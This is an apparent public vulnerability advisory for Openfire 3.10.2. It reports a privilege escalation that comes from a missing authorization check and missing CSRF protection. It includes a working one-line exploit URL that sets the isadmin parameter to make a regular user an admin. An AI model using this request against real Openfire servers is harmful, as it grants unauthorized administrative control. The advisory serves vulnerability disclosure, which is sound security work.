Openfire 3.10.2 - Privilege Escalation

[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:
http://hyp3rlinx.altervista.org/advisories/AS-OPENFIRE-PRIV-ESCALATION.txt



Vendor:
================================
www.igniterealtime.org/projects/openfire
www.igniterealtime.org/downloads/index.jsp



Product:
================================
Openfire 3.10.2

Openfire is a real time collaboration (RTC) server licensed under the Open
Source Apache License.
It uses the only widely adopted open protocol for instant messaging, XMPP
(also called Jabber).



Vulnerability Type:
===================
Privilege escalation



CVE Reference:
==============
N/A




Vulnerability Details:
=====================
No check is made when updating the user privileges, allowing regular user
to become an admin.
Escalation can be done remotely too if user is logged in as no CSRF token
exist.





Exploit code(s):
===============

Become admin!

http://localhost:9090/user-edit-form.jsp?username=hyp3rlinx&save=true&name=blasphemer&[email protected]&isadmin=on




Disclosure Timeline:
=========================================================

Vendor Notification: NA
Sept 14, 2015 : Public Disclosure




Exploitation Technique:
=======================
Local or Remote



Severity Level:
=========================================================
High



Description:
==========================================================


Request Method(s):              [+] GET


Vulnerable Product:             [+] Openfire 3.10.2


Vulnerable Parameter(s):        [+] isadmin


Affected Area(s):               [+] Admin


===========================================================

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere.

by hyp3rlinx